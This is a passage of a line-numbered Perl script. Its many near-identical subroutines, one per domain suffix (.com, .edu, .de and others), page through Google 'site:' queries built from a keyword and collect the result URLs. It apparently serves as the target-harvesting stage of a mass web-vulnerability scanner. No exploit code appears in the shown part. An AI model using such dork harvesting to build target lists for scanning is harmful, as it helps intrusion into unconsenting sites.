  1578. my @grep = split(/\&/,$link);
  1579. push(@list,$grep[0]);
  1580. }
  1581. }
  1582. }
  1583. return @list;
  1584. }
  1585.  
  1586. sub net() {
  1587. my @list;
  1588. my $key = $_[0];
  1589. for (my $i=0; $i<=1000; $i+=100){
  1590. my $search = ($jack1.uri_escape($key)."%2Bsite%3Anet%26num%3D100%26start%3D".$i);
  1591. my $res = &search_engine_query($search);
  1592. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1593. my $link = $1;
  1594. if ($link !~ /google/){
  1595. my @grep = split(/\&/,$link);
  1596. push(@list,$grep[0]);
  1597. }
  1598. }
  1599. }
  1600. return @list;
  1601. }
  1602.  
  1603. sub ca() {
  1604. my @list;
  1605. my $key = $_[0];
  1606. for (my $i=0; $i<=1000; $i+=100){
  1607. my $search = ($jack2.uri_escape($key)."%2Bsite%3Aca%26num%3D100%26start%3D".$i);
  1608. my $res = &search_engine_query($search);
  1609. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1610. my $link = $1;
  1611. if ($link !~ /google/){
  1612. my @grep = split(/\&/,$link);
  1613. push(@list,$grep[0]);
  1614. }
  1615. }
  1616. }
  1617. return @list;
  1618. }
  1619.  
  1620. sub es() {
  1621. my @list;
  1622. my $key = $_[0];
  1623. for (my $i=0; $i<=1000; $i+=100){
  1624. my $search = ($jack3.uri_escape($key)."%2Bsite%3Aes%26num%3D100%26start%3D".$i);
  1625. my $res = &search_engine_query($search);
  1626. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1627. my $link = $1;
  1628. if ($link !~ /google/){
  1629. my @grep = split(/\&/,$link);
  1630. push(@list,$grep[0]);
  1631. }
  1632. }
  1633. }
  1634. return @list;
  1635. }
  1636.  
  1637. sub com() {
  1638. my @list;
  1639. my $key = $_[0];
  1640. for (my $i=0; $i<=1000; $i+=100){
  1641. my $search = ($jack4.uri_escape($key)."%2Bsite%3Acom%26num%3D100%26start%3D".$i);
  1642. my $res = &search_engine_query($search);
  1643. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1644. my $link = $1;
  1645. if ($link !~ /google/){
  1646. my @grep = split(/\&/,$link);
  1647. push(@list,$grep[0]);
  1648. }
  1649. }
  1650. }
  1651. return @list;
  1652. }
  1653.  
  1654. sub it() {
  1655. my @list;
  1656. my $key = $_[0];
  1657. for (my $i=0; $i<=1000; $i+=100){
  1658. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ait%26num%3D100%26start%3D".$i);
  1659. my $res = &search_engine_query($search);
  1660. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1661. my $link = $1;
  1662. if ($link !~ /google/){
  1663. my @grep = split(/\&/,$link);
  1664. push(@list,$grep[0]);
  1665. }
  1666. }
  1667. }
  1668. return @list;
  1669. }
  1670.  
  1671. sub mx() {
  1672. my @list;
  1673. my $key = $_[0];
  1674. for (my $i=0; $i<=1000; $i+=100){
  1675. my $search = ($jack6.uri_escape($key)."%2Bsite%3Amx%26num%3D100%26start%3D".$i);
  1676. my $res = &search_engine_query($search);
  1677. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1678. my $link = $1;
  1679. if ($link !~ /google/){
  1680. my @grep = split(/\&/,$link);
  1681. push(@list,$grep[0]);
  1682. }
  1683. }
  1684. }
  1685. return @list;
  1686. }
  1687.  
  1688. sub cl() {
  1689. my @list;
  1690. my $key = $_[0];
  1691. for (my $i=0; $i<=1000; $i+=100){
  1692. my $search = ($jack1.uri_escape($key)."%2Bsite%3Acl%26num%3D100%26start%3D".$i);
  1693. my $res = &search_engine_query($search);
  1694. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1695. my $link = $1;
  1696. if ($link !~ /google/){
  1697. my @grep = split(/\&/,$link);
  1698. push(@list,$grep[0]);
  1699. }
  1700. }
  1701. }
  1702. return @list;
  1703. }
  1704.  
  1705. sub jp() {
  1706. my @list;
  1707. my $key = $_[0];
  1708. for (my $i=0; $i<=1000; $i+=100){
  1709. my $search = ($jack2.uri_escape($key)."%2Bsite%3Ajp%26num%3D100%26start%3D".$i);
  1710. my $res = &search_engine_query($search);
  1711. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1712. my $link = $1;
  1713. if ($link !~ /google/){
  1714. my @grep = split(/\&/,$link);
  1715. push(@list,$grep[0]);
  1716. }
  1717. }
  1718. }
  1719. return @list;
  1720. }
  1721.  
  1722. sub de() {
  1723. my @list;
  1724. my $key = $_[0];
  1725. for (my $i=0; $i<=1000; $i+=100){
  1726. my $search = ($jack1.uri_escape($key)."%2Bsite%3Ade%26num%3D100%26start%3D".$i);
  1727. my $res = &search_engine_query($search);
  1728. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1729. my $link = $1;
  1730. if ($link !~ /google/){
  1731. my @grep = split(/\&/,$link);
  1732. push(@list,$grep[0]);
  1733. }
  1734. }
  1735. }
  1736. return @list;
  1737. }
  1738.  
  1739. sub au() {
  1740. my @list;
  1741. my $key = $_[0];
  1742. for (my $i=0; $i<=1000; $i+=100){
  1743. my $search = ($jack2.uri_escape($key)."%2Bsite%3Aau%26num%3D100%26start%3D".$i);
  1744. my $res = &search_engine_query($search);
  1745. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1746. my $link = $1;
  1747. if ($link !~ /google/){
  1748. my @grep = split(/\&/,$link);
  1749. push(@list,$grep[0]);
  1750. }
  1751. }
  1752. }
  1753. return @list;
  1754. }
  1755.  
  1756. sub nl() {
  1757. my @list;
  1758. my $key = $_[0];
  1759. for (my $i=0; $i<=1000; $i+=100){
  1760. my $search = ($jack3.uri_escape($key)."%2Bsite%3Anl%26num%3D100%26start%3D".$i);
  1761. my $res = &search_engine_query($search);
  1762. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1763. my $link = $1;
  1764. if ($link !~ /google/){
  1765. my @grep = split(/\&/,$link);
  1766. push(@list,$grep[0]);
  1767. }
  1768. }
  1769. }
  1770. return @list;
  1771. }
  1772.  
  1773. sub ro() {
  1774. my @list;
  1775. my $key = $_[0];
  1776. for (my $i=0; $i<=1000; $i+=100){
  1777. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aro%26num%3D100%26start%3D".$i);
  1778. my $res = &search_engine_query($search);
  1779. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1780. my $link = $1;
  1781. if ($link !~ /google/){
  1782. my @grep = split(/\&/,$link);
  1783. push(@list,$grep[0]);
  1784. }
  1785. }
  1786. }
  1787. return @list;
  1788. }
  1789.  
  1790. sub fr() {
  1791. my @list;
  1792. my $key = $_[0];
  1793. for (my $i=0; $i<=1000; $i+=100){
  1794. my $search = ($jack5.uri_escape($key)."%2Bsite%3Afr%26num%3D100%26start%3D".$i);
  1795. my $res = &search_engine_query($search);
  1796. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1797. my $link = $1;
  1798. if ($link !~ /google/){
  1799. my @grep = split(/\&/,$link);
  1800. push(@list,$grep[0]);
  1801. }
  1802. }
  1803. }
  1804. return @list;
  1805. }
  1806.  
  1807. sub cz() {
  1808. my @list;
  1809. my $key = $_[0];
  1810. for (my $i=0; $i<=1000; $i+=100){
  1811. my $search = ($jack6.uri_escape($key)."%2Bsite%3Acz%26num%3D100%26start%3D".$i);
  1812. my $res = &search_engine_query($search);
  1813. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1814. my $link = $1;
  1815. if ($link !~ /google/){
  1816. my @grep = split(/\&/,$link);
  1817. push(@list,$grep[0]);
  1818. }
  1819. }
  1820. }
  1821. return @list;
  1822. }
  1823.  
  1824. sub dk() {
  1825. my @list;
  1826. my $key = $_[0];
  1827. for (my $i=0; $i<=1000; $i+=100){
  1828. my $search = ($jack7.uri_escape($key)."%2Bsite%3Adk%26num%3D100%26start%3D".$i);
  1829. my $res = &search_engine_query($search);
  1830. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1831. my $link = $1;
  1832. if ($link !~ /google/){
  1833. my @grep = split(/\&/,$link);
  1834. push(@list,$grep[0]);
  1835. }
  1836. }
  1837. }
  1838. return @list;
  1839. }
  1840.  
  1841. sub biz() {
  1842. my @list;
  1843. my $key = $_[0];
  1844. for (my $i=0; $i<=1000; $i+=100){
  1845. my $search = ($jack1.uri_escape($key)."%2Bsite%3Abiz%26num%3D100%26start%3D".$i);
  1846. my $res = &search_engine_query($search);
  1847. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1848. my $link = $1;
  1849. if ($link !~ /google/){
  1850. my @grep = split(/\&/,$link);
  1851. push(@list,$grep[0]);
  1852. }
  1853. }
  1854. }
  1855. return @list;
  1856. }
  1857.  
  1858. sub cat() {
  1859. my @list;
  1860. my $key = $_[0];
  1861. for (my $i=0; $i<=1000; $i+=100){
  1862. my $search = ($jack2.uri_escape($key)."%2Bsite%3Acat%26num%3D100%26start%3D".$i);
  1863. my $res = &search_engine_query($search);
  1864. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1865. my $link = $1;
  1866. if ($link !~ /google/){
  1867. my @grep = split(/\&/,$link);
  1868. push(@list,$grep[0]);
  1869. }
  1870. }
  1871. }
  1872. return @list;
  1873. }
  1874.  
  1875. sub ir() {
  1876. my @list;
  1877. my $key = $_[0];
  1878. for (my $i=0; $i<=1000; $i+=100){
  1879. my $search = ($jack3.uri_escape($key)."%2Bsite%3Air%26num%3D100%26start%3D".$i);
  1880. my $res = &search_engine_query($search);
  1881. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1882. my $link = $1;
  1883. if ($link !~ /google/){
  1884. my @grep = split(/\&/,$link);
  1885. push(@list,$grep[0]);
  1886. }
  1887. }
  1888. }
  1889. return @list;
  1890. }
  1891.  
  1892. sub hk() {
  1893. my @list;
  1894. my $key = $_[0];
  1895. for (my $i=0; $i<=1000; $i+=100){
  1896. my $search = ($jack4.uri_escape($key)."%2Bsite%3Ahk%26num%3D100%26start%3D".$i);
  1897. my $res = &search_engine_query($search);
  1898. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1899. my $link = $1;
  1900. if ($link !~ /google/){
  1901. my @grep = split(/\&/,$link);
  1902. push(@list,$grep[0]);
  1903. }
  1904. }
  1905. }
  1906. return @list;
  1907. }
  1908.  
  1909. sub me() {
  1910. my @list;
  1911. my $key = $_[0];
  1912. for (my $i=0; $i<=1000; $i+=100){
  1913. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ame%26num%3D100%26start%3D".$i);
  1914. my $res = &search_engine_query($search);
  1915. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1916. my $link = $1;
  1917. if ($link !~ /google/){
  1918. my @grep = split(/\&/,$link);
  1919. push(@list,$grep[0]);
  1920. }
  1921. }
  1922. }
  1923. return @list;
  1924. }
  1925.  
  1926. sub us() {
  1927. my @list;
  1928. my $key = $_[0];
  1929. for (my $i=0; $i<=1000; $i+=100){
  1930. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aus%26num%3D100%26start%3D".$i);
  1931. my $res = &search_engine_query($search);
  1932. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1933. my $link = $1;
  1934. if ($link !~ /google/){
  1935. my @grep = split(/\&/,$link);
  1936. push(@list,$grep[0]);
  1937. }
  1938. }
  1939. }
  1940. return @list;
  1941. }
  1942.  
  1943. sub cn() {
  1944. my @list;
  1945. my $key = $_[0];
  1946. for (my $i=0; $i<=1000; $i+=100){
  1947. my $search = ($jack3.uri_escape($key)."%2Bsite%3Acn%26num%3D100%26start%3D".$i);
  1948. my $res = &search_engine_query($search);
  1949. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1950. my $link = $1;
  1951. if ($link !~ /google/){
  1952. my @grep = split(/\&/,$link);
  1953. push(@list,$grep[0]);
  1954. }
  1955. }
  1956. }
  1957. return @list;
  1958. }
  1959.  
  1960. sub ve() {
  1961. my @list;
  1962. my $key = $_[0];
  1963. for (my $i=0; $i<=1000; $i+=100){
  1964. my $search = ($jack4.uri_escape($key)."%2Bsite%3Ave%26num%3D100%26start%3D".$i);
  1965. my $res = &search_engine_query($search);
  1966. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1967. my $link = $1;
  1968. if ($link !~ /google/){
  1969. my @grep = split(/\&/,$link);
  1970. push(@list,$grep[0]);
  1971. }
  1972. }
  1973. }
  1974. return @list;
  1975. }
  1976.  
  1977. sub tw() {
  1978. my @list;
  1979. my $key = $_[0];
  1980. for (my $i=0; $i<=1000; $i+=100){
  1981. my $search = ($jack1.uri_escape($key)."%2Bsite%3Atw%26num%3D100%26start%3D".$i);
  1982. my $res = &search_engine_query($search);
  1983. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1984. my $link = $1;
  1985. if ($link !~ /google/){
  1986. my @grep = split(/\&/,$link);
  1987. push(@list,$grep[0]);
  1988. }
  1989. }
  1990. }
  1991. return @list;
  1992. }
  1993.  
  1994. sub info() {
  1995. my @list;
  1996. my $key = $_[0];
  1997. for (my $i=0; $i<=1000; $i+=100){
  1998. my $search = ($jack2.uri_escape($key)."%2Bsite%3Ainfo%26num%3D100%26start%3D".$i);
  1999. my $res = &search_engine_query($search);
  2000. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2001. my $link = $1;
  2002. if ($link !~ /google/){
  2003. my @grep = split(/\&/,$link);
  2004. push(@list,$grep[0]);
  2005. }
  2006. }
  2007. }
  2008. return @list;
  2009. }
  2010.  
  2011. sub kr() {
  2012. my @list;
  2013. my $key = $_[0];
  2014. for (my $i=0; $i<=1000; $i+=100){
  2015. my $search = ($jack3.uri_escape($key)."%2Bsite%3Akr%26num%3D100%26start%3D".$i);
  2016. my $res = &search_engine_query($search);
  2017. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2018. my $link = $1;
  2019. if ($link !~ /google/){
  2020. my @grep = split(/\&/,$link);
  2021. push(@list,$grep[0]);
  2022. }
  2023. }
  2024. }
  2025. return @list;
  2026. }
  2027.  
  2028. sub at() {
  2029. my @list;
  2030. my $key = $_[0];
  2031. for (my $i=0; $i<=1000; $i+=100){
  2032. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aat%26num%3D100%26start%3D".$i);
  2033. my $res = &search_engine_query($search);
  2034. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2035. my $link = $1;
  2036. if ($link !~ /google/){
  2037. my @grep = split(/\&/,$link);
  2038. push(@list,$grep[0]);
  2039. }
  2040. }
  2041. }
  2042. return @list;
  2043. }
  2044.  
  2045. sub in() {
  2046. my @list;
  2047. my $key = $_[0];
  2048. for (my $i=0; $i<=1000; $i+=100){
  2049. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ain%26num%3D100%26start%3D".$i);
  2050. my $res = &search_engine_query($search);
  2051. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2052. my $link = $1;
  2053. if ($link !~ /google/){
  2054. my @grep = split(/\&/,$link);
  2055. push(@list,$grep[0]);
  2056. }
  2057. }
  2058. }
  2059. return @list;
  2060. }
  2061.  
  2062. sub my() {
  2063. my @list;
  2064. my $key = $_[0];
  2065. for (my $i=0; $i<=1000; $i+=100){
  2066. my $search = ($jack6.uri_escape($key)."%2Bsite%3Amy%26num%3D100%26start%3D".$i);
  2067. my $res = &search_engine_query($search);
  2068. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2069. my $link = $1;
  2070. if ($link !~ /google/){
  2071. my @grep = split(/\&/,$link);
  2072. push(@list,$grep[0]);
  2073. }
  2074. }
  2075. }
  2076. return @list;
  2077. }
  2078.  
  2079. sub sk() {
  2080. my @list;
  2081. my $key = $_[0];
  2082. for (my $i=0; $i<=1000; $i+=100){
  2083. my $search = ($jack7.uri_escape($key)."%2Bsite%3Ask%26num%3D100%26start%3D".$i);
  2084. my $res = &search_engine_query($search);
  2085. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2086. my $link = $1;
  2087. if ($link !~ /google/){
  2088. my @grep = split(/\&/,$link);
  2089. push(@list,$grep[0]);
  2090. }
  2091. }
  2092. }
  2093. return @list;
  2094. }
  2095.  
  2096. sub za() {
  2097. my @list;
  2098. my $key = $_[0];
  2099. for (my $i=0; $i<=1000; $i+=100){
  2100. my $search = ($jack1.uri_escape($key)."%2Bsite%3Aza%26num%3D100%26start%3D".$i);
  2101. my $res = &search_engine_query($search);
  2102. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2103. my $link = $1;
  2104. if ($link !~ /google/){
  2105. my @grep = split(/\&/,$link);
  2106. push(@list,$grep[0]);
  2107. }
  2108. }
  2109. }
  2110. return @list;
  2111. }
  2112.  
  2113. sub su() {
  2114. my @list;
  2115. my $key = $_[0];
  2116. for (my $i=0; $i<=1000; $i+=100){
  2117. my $search = ($jack2.uri_escape($key)."%2Bsite%3Asu%26num%3D100%26start%3D".$i);
  2118. my $res = &search_engine_query($search);
  2119. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2120. my $link = $1;
  2121. if ($link !~ /google/){
  2122. my @grep = split(/\&/,$link);
  2123. push(@list,$grep[0]);
  2124. }
  2125. }
  2126. }
  2127. return @list;
  2128. }
  2129.  
  2130. sub tr() {
  2131. my @list;
  2132. my $key = $_[0];
  2133. for (my $i=0; $i<=1000; $i+=100){
  2134. my $search = ($jack3.uri_escape($key)."%2Bsite%3Atr%26num%3D100%26start%3D".$i);
  2135. my $res = &search_engine_query($search);
  2136. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2137. my $link = $1;
  2138. if ($link !~ /google/){
  2139. my @grep = split(/\&/,$link);
  2140. push(@list,$grep[0]);
  2141. }
  2142. }
  2143. }
  2144. return @list;
  2145. }
  2146.  
  2147. sub edu() {
  2148. my @list;
  2149. my $key = $_[0];
  2150. for (my $i=0; $i<=1000; $i+=100){
  2151. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aedu%26num%3D100%26start%3D".$i);
  2152. my $res = &search_engine_query($search);
  2153. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2154. my $link = $1;
  2155. if ($link !~ /google/){
  2156. my @grep = split(/\&/,$link);
  2157. push(@list,$grep[0]);
  2158. }
  2159. }
  2160. }
  2161. return @list;
  2162. }
  2163.  
  2164. sub no() {
  2165. my @list;
  2166. my $key = $_[0];
  2167. for (my $i=0; $i<=1000; $i+=100){
  2168. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ano%26num%3D100%26start%3D".$i);
  2169. my $res = &search_engine_query($search);
  2170. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2171. my $link = $1;
  2172. if ($link !~ /google/){
  2173. my @grep = split(/\&/,$link);
  2174. push(@list,$grep[0]);
  2175. }
  2176. }
  2177. }
  2178. return @list;
  2179. }
  2180.  
  2181. sub vn() {
  2182. my @list;
  2183. my $key = $_[0];
  2184. for (my $i=0; $i<=1000; $i+=100){
  2185. my $search = ($jack6.uri_escape($key)."%2Bsite%3Avn%26num%3D100%26start%3D".$i);
  2186. my $res = &search_engine_query($search);
  2187. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2188. my $link = $1;
  2189. if ($link !~ /google/){
  2190. my @grep = split(/\&/,$link);
  2191. push(@list,$grep[0]);
  2192. }
  2193. }
  2194. }
  2195. return @list;
  2196. }
  2197.  
  2198. sub mobi() {
  2199. my @list;
  2200. my $key = $_[0];
  2201. for (my $i=0; $i<=1000; $i+=100){
  2202. my $search = ($jack5.uri_escape($key)."%2Bsite%3Amobi%26num%3D100%26start%3D".$i);
  2203. my $res = &search_engine_query($search);
  2204. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2205. my $link = $1;
  2206. if ($link !~ /google/){
  2207. my @grep = split(/\&/,$link);
  2208. push(@list,$grep[0]);
  2209. }
  2210. }
  2211. }
  2212. return @list;
  2213. }
  2214.  
  2215. sub pl() {
  2216. my @list;
  2217. my $key = $_[0];
  2218. for (my $i=0; $i<=1000; $i+=100){
  2219. my $search = ($jack6.uri_escape($key)."%2Bsite%3Apl%26num%3D100%26start%3D".$i);
  2220. my $res = &search_engine_query($search);
  2221. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2222. my $link = $1;
  2223. if ($link !~ /google/){
  2224. my @grep = split(/\&/,$link);
  2225. push(@list,$grep[0]);
  2226. }
  2227. }
  2228. }
  2229. return @list;
  2230. }
  2231.  
  2232. sub id() {
  2233. my @list;
  2234. my $key = $_[0];
  2235. for (my $i=0; $i<=1000; $i+=100){
  2236. my $search = ($jack1.uri_escape($key)."%2Bsite%3Aid%26num%3D100%26start%3D".$i);
  2237. my $res = &search_engine_query($search);
  2238. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2239. my $link = $1;
  2240. if ($link !~ /google/){
  2241. my @grep = split(/\&/,$link);
  2242. push(@list,$grep[0]);
  2243. }
  2244. }
  2245. }
  2246. return @list;
  2247. }
  2248.  
  2249. sub th() {
  2250. my @list;
  2251. my $key = $_[0];
  2252. for (my $i=0; $i<=1000; $i+=100){
  2253. my $search = ($jack2.uri_escape($key)."%2Bsite%3Ath%26num%3D100%26start%3D".$i);
  2254. my $res = &search_engine_query($search);
  2255. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2256. my $link = $1;
  2257. if ($link !~ /google/){
  2258. my @grep = split(/\&/,$link);
  2259. push(@list,$grep[0]);
  2260. }
  2261. }
  2262. }
  2263. return @list;
  2264. }
  2265.  
  2266. sub si() {
  2267. my @list;
  2268. my $key = $_[0];
  2269. for (my $i=0; $i<=1000; $i+=100){
  2270. my $search = ($jack3.uri_escape($key)."%2Bsite%3Asi%26num%3D100%26start%3D".$i);
  2271. my $res = &search_engine_query($search);
  2272. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2273. my $link = $1;
  2274. if ($link !~ /google/){
  2275. my @grep = split(/\&/,$link);
  2276. push(@list,$grep[0]);
  2277. }
  2278. }
  2279. }
  2280. return @list;
  2281. }
  2282.  
  2283. sub asia() {
  2284. my @list;
  2285. my $key = $_[0];
  2286. for (my $i=0; $i<=1000; $i+=100){
  2287. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aasia%26num%3D100%26start%3D".$i);
  2288. my $res = &search_engine_query($search);
  2289. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2290. my $link = $1;
  2291. if ($link !~ /google/){
  2292. my @grep = split(/\&/,$link);
  2293. push(@list,$grep[0]);
  2294. }
  2295. }
  2296. }
  2297. return @list;
  2298. }
  2299.  
  2300. sub eu() {
  2301. my @list;
  2302. my $key = $_[0];
  2303. for (my $i=0; $i<=1000; $i+=100){
  2304. my $search = ($jack5.uri_escape($key)."%2Bsite%3Aeu%26num%3D100%26start%3D".$i);
  2305. my $res = &search_engine_query($search);
  2306. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2307. my $link = $1;
  2308. if ($link !~ /google/){
  2309. my @grep = split(/\&/,$link);
  2310. push(@list,$grep[0]);
  2311. }
  2312. }
  2313. }
  2314. return @list;
  2315. }
  2316.  
  2317. sub be() {
  2318. my @list;
  2319. my $key = $_[0];
  2320. for (my $i=0; $i<=1000; $i+=100){
  2321. my $search = ($jack6.uri_escape($key)."%2Bsite%3Abe%26num%3D100%26start%3D".$i);
  2322. my $res = &search_engine_query($search);
  2323. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2324. my $link = $1;
  2325. if ($link !~ /google/){
  2326. my @grep = split(/\&/,$link);
  2327. push(@list,$grep[0]);
  2328. }
  2329. }
  2330. }
  2331. return @list;
  2332. }
  2333.  
  2334. sub hu() {
  2335. my @list;
  2336. my $key = $_[0];
  2337. for (my $i=0; $i<=1000; $i+=100){
  2338. my $search = ($jack7.uri_escape($key)."%2Bsite%3Ahu%26num%3D100%26start%3D".$i);
  2339. my $res = &search_engine_query($search);
  2340. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2341. my $link = $1;
  2342. if ($link !~ /google/){
  2343. my @grep = split(/\&/,$link);
  2344. push(@list,$grep[0]);
  2345. }
  2346. }
  2347. }
  2348. return @list;
  2349. }
  2350.  
  2351. sub lv() {
  2352. my @list;
  2353. my $key = $_[0];
  2354. for (my $i=0; $i<=1000; $i+=100){
  2355. my $search = ($jack1.uri_escape($key)."%2Bsite%3Alv%26num%3D100%26start%3D".$i);
  2356. my $res = &search_engine_query($search);
  2357. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2358. my $link = $1;
  2359. if ($link !~ /google/){
  2360. my @grep = split(/\&/,$link);
  2361. push(@list,$grep[0]);
  2362. }
  2363. }
  2364. }
  2365. return @list;
  2366. }
  2367.  
  2368. sub coop() {
  2369. my @list;
  2370. my $key = $_[0];
  2371. for (my $i=0; $i<=1000; $i+=100){
  2372. my $search = ($jack2.uri_escape($key)."%2Bsite%3Acoop%26num%3D100%26start%3D".$i);
  2373. my $res = &search_engine_query($search);
  2374. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2375. my $link = $1;
  2376. if ($link !~ /google/){
  2377. my @grep = split(/\&/,$link);
  2378. push(@list,$grep[0]);
  2379. }
  2380. }
  2381. }
  2382. return @list;
  2383. }
  2384.  
  2385. sub ua() {
  2386. my @list;
  2387. my $key = $_[0];
  2388. for (my $i=0; $i<=1000; $i+=100){
  2389. my $search = ($jack3.uri_escape($key)."%2Bsite%3Aua%26num%3D100%26start%3D".$i);
  2390. my $res = &search_engine_query($search);
  2391. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2392. my $link = $1;
  2393. if ($link !~ /google/){
  2394. my @grep = split(/\&/,$link);
  2395. push(@list,$grep[0]);
  2396. }
  2397. }
  2398. }
  2399. return @list;
  2400. }
  2401.  
  2402. sub tv() {
  2403. my @list;
  2404. my $key = $_[0];
  2405. for (my $i=0; $i<=1000; $i+=100){
  2406. my $search = ($jack4.uri_escape($key)."%2Bsite%3Atv%26num%3D100%26start%3D".$i);
  2407. my $res = &search_engine_query($search);
  2408. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2409. my $link = $1;
  2410. if ($link !~ /google/){
  2411. my @grep = split(/\&/,$link);
  2412. push(@list,$grep[0]);
  2413. }
  2414. }
  2415. }
  2416. return @list;
  2417. }
  2418.  
  2419. sub ie() {
  2420. my @list;
  2421. my $key = $_[0];
  2422. for (my $i=0; $i<=1000; $i+=100){
  2423. my $search = ($jack5.uri_escape($key)."%2Bsite%3Aie%26num%3D100%26start%3D".$i);
  2424. my $res = &search_engine_query($search);
  2425. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2426. my $link = $1;
  2427. if ($link !~ /google/){
  2428. my @grep = split(/\&/,$link);
  2429. push(@list,$grep[0]);
  2430. }
  2431. }
  2432. }
  2433. return @list;
  2434. }
  2435.  
  2436. sub co() {
  2437. my @list;
  2438. my $key = $_[0];
  2439. for (my $i=0; $i<=1000; $i+=100){
  2440. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aco%26num%3D100%26start%3D".$i);
  2441. my $res = &search_engine_query($search);
  2442. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2443. my $link = $1;
  2444. if ($link !~ /google/){
  2445. my @grep = split(/\&/,$link);
  2446. push(@list,$grep[0]);
  2447. }
  2448. }
  2449. }
  2450. return @list;
  2451. }
  2452.  
  2453. sub ae() {
  2454. my @list;
  2455. my $key = $_[0];
  2456. for (my $i=0; $i<=1000; $i+=100){
  2457. my $search = ($jack7.uri_escape($key)."%2Bsite%3Aae%26num%3D100%26start%3D".$i);
  2458. my $res = &search_engine_query($search);
  2459. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2460. my $link = $1;
  2461. if ($link !~ /google/){
  2462. my @grep = split(/\&/,$link);
  2463. push(@list,$grep[0]);
  2464. }
  2465. }
  2466. }
  2467. return @list;
  2468. }
  2469.  
  2470. sub pro() {
  2471. my @list;
  2472. my $key = $_[0];
  2473. for (my $i=0; $i<=1000; $i+=100){
  2474. my $search = ($jack1.uri_escape($key)."%2Bsite%3Apro%26num%3D100%26start%3D".$i);
  2475. my $res = &search_engine_query($search);
  2476. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2477. my $link = $1;
  2478. if ($link !~ /google/){
  2479. my @grep = split(/\&/,$link);
  2480. push(@list,$grep[0]);
  2481. }
  2482. }
  2483. }
  2484. return @list;
  2485. }
  2486.  
  2487. sub name() {
  2488. my @list;
  2489. my $key = $_[0];
  2490. for (my $i=0; $i<=1000; $i+=100){
  2491. my $search = ($jack1.uri_escape($key)."%2Bsite%3Aname%26num%3D100%26start%3D".$i);
  2492. my $res = &search_engine_query($search);
  2493. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  2494. my $link = $1;
  2495. if ($link !~ /google/){
  2496. my @grep = split(/\&/,$link);
  2497. push(@list,$grep[0]);
  2498. }
  2499. }
  2500. }
  2501. return @list;
  2502. }
  2503.  
  2504. sub org() {
  2505. my @list;
  2506. my $key = $_[0];
  2507. for (my $i=0; $i<=1000; $i+=100){
